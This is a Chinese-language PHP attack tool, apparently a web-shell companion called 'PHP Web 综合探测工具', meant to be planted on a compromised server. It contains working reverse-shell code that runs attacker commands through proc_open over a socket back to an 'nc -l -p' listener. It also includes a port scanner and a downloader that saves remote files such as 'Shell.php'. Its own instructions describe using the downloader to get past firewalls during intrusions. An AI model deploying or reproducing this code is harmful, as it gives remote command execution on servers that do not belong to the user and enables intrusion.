<html>
<body>
<head>
<title>PHP Web 综合探测工具 Bata 1.01</title>
<style>
body{
margin-top=100px;
background:#000000;
color:green;
}
</style>
</head>
<?
$main=$_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
if(PHP_VERSION < '4.1.0') {
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
}
if(!
isset($_POST['host1'])&&!
isset($_POST['host2'])&&!
isset($_POST['host3'])){ print<<<eof
<html>
<body>
<head>
<title>PHP Web 综合探测工具 Bata 1.01</title>
<style>
body{
margin:0;
padding:0;
background:#000000;
color:green;
margin-left:150px;
margin-right:150px;
margin-top=10px;
FONT-FAMILY: verdana;
FONT-SIZE: 10px;
}
input{
margin:0px;
padding:0px;
color:green;
border: 1px;
border-bottom-color:#ffffff;
}
</style>
</head>
<body><center><h4>PHP Web Detector Bata 1.01</h4>
<table border=1 bordercolorlight=\"303632\" bordercolordark=\"000000\">
<tr><td><center><b>端口反弹工具</b></center></td></tr>
<tr><td>注意:Windows下的反弹需要PHP支持socket,即去掉php.ini中的extend_socket.dll前面的分号.Linux在非源码编译安装的情况一般都会支持,具体查看<a href=?phpinfo=yes><b><i>phpinfo()</b></i></a></br>使用时先在本地执行'nc -l -p port',然后执行该脚本</td><tr>
<tr><td><form method=post action=\"\">
Host: <input type=text name=host1 value='127.0.0.1'>
Port: <input type=text name=port1 value='1234'>
<input type=submit name=submit value=\"反弹连接\"></td></tr></table></p></p><p></p></form>
<table border=1 bordercolorlight=\"303632\" bordercolordark=\"000000\">
<tr><td><center><b>端口扫描工具</b></center></td></tr>
<tr><td>扫描指定端口时请使用\"21,80\"的格式,扫描一个范围内的端口时请用\"1-100\"的格式.请注意,尽量扫描少一点的端口,如果你是远程扫描,且网络条件不好,请修改fsockopen函数的第三个参数为更大</td><tr>
<tr><td><form action=\"\" method=post>
Host: <input type=text name=host2 value='127.0.0.1' size=50><p>
Port: <input type=text name=port2 value='21,23,25,80,110,135,139,445,1433,3306,3389,43958' size=50>
<input type=submit value='开始扫描'></td></tr></table></p></p><p></p></form>
<table border=1 bordercolorlight=\"303632\" bordercolordark=\"000000\">
<tr><td><center><b>文件下载工具</b><center></td></tr>
<tr><td>在入侵渗透时可能会碰到无法从本地提交大马或者exe文件的情况,这可能是由于内部防火墙做了相关的限定.这个脚本主要使服务器自身从远程url下载指定的文件,并保存在同一目录下,这样可突破大部分防火墙的追杀.注:要完成此项功能,web服务器必须开启allow_url_fopen,请在php.ini中做相关设置.如果你想远程下载你的大马,请将大马的格式改为txt的后再执行.</td><tr>
<tr><td><form method=post action=\"\">
Remote_file: <input type=text name='host3' value='http://hi.baidu.com/in_king' size=50><p>
Local_name: <input type=text name='file3' value='Shell.php' size=50>
<input type=submit value='开始下载'></td></tr></table></p></p><p></p></form>
<center>Code By Inking <a href='http://hi.baidu.com/in_king'>The Entry To My Website</a> QQ: 165068585<p>Thanks To The Men Who Share The Codes On The Web</center>
</body>
</html>
eof;
}
elseif(isset($_POST['host1']) && isset($_POST['port1'])){
if(!extension_loaded('sockets')){
if ($system == 'WIN') {
@dl('php_sockets.dll') or die(\"Can't load socket\");
}
else{
@dl('sockets.so') or die(\"Can't load socket\");
}
}
$host1 = $_POST['host1'];
$port1 = $_POST['port1'];
connect();
echo $host1;
}
elseif(isset($_POST['host2']) && isset($_POST['port2'])){
$port2=$_POST['port2'];
$host2=$_POST['host2'];
portscan();
}
elseif(isset($_POST['host3']) && isset($_POST['file3'])){
$host3=$_POST['host3'];
$file3=$_POST['file3'];
download();
}
function connect(){
global $host1,$port1,$system,$main;
if($system==\"WIN\"){
$env=array('path' => 'c:\\windows\\system32');
}
else{
$env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}
$descriptorspec = array(
0 => array(\"pipe\",\"r\"),
1 => array(\"pipe\",\"w\"),
2 => array(\"pipe\",\"w\"),
);
$host1=gethostbyname($host1);
$proto=getprotobyname(\"tcp\");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){
die(\"Socket Create Faile\");
}
if(($ret=socket_connect($sock,$host1,$port1))<0){
die(\"Connect Faile\");
}else{
$message=\"----------------------PHP Connect-Back--------------------\n\";
$message.=\"-----------------------Good Luck :)--------------------\n\";
socket_write($sock,$message,strlen($message));
$cwd=str_replace('\\','/',dirname(__FILE__));
while($cmd=socket_read($sock,65535,$proto)){
if(trim(strtolower($cmd))==\"exit\"){
socket_write($sock,\"Bye Bye\n\");
exit;
}
else{
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value = proc_close($process);
}
}
}
}
}
function portscan(){
global $port2,$host2,$main;
if(eregi(',',$port2)||eregi('^[0-9]*$',$port2)){
$port2=explode(',',$port2);
$count=count($port2);
}
elseif(eregi('-',$port2)){
$port2=explode('-',$port2);
$start=$port2[0];
$end=$port2[1];
unset($port2);
$count=$end-$start+1;
$i=$start;
while($i<=$end){
$port2[]=\"$i\";
$i++;
}
}
echo \"<center><table border=1 bordercolorlight=#303632 bordercolordark=#000000><tr><td>\";
for($i=0;$i<$count;$i++){
if(fsockopen($host2,$port2[$i],&$errno, &$errstr,1))
echo '<p>'.'port '.$port2[$i].' is open! '.'</p>';
}
echo \"</td></tr></table></center>\";
echo \"<center><p><a href=$main>返回重新扫描</a></p></center>\";
}
function download(){
global $host3,$file3,$main;
if(file_exists($file3))
echo \"<center>文件已存在,请重新定义文件名,<a href=$main>点击这里返回</a><center>\";
else{
$content=file_get_contents($host3);
$f=fopen($file3,'w');
$write=fwrite($f,$content);
fclose($f);
if(file_exists($file3))
echo \"<center>文件下载成功, <a href=$file3>点击查看 </a>或者 <a href=$main>返回</a><center>\";
}
}
?>
</body>
</html>
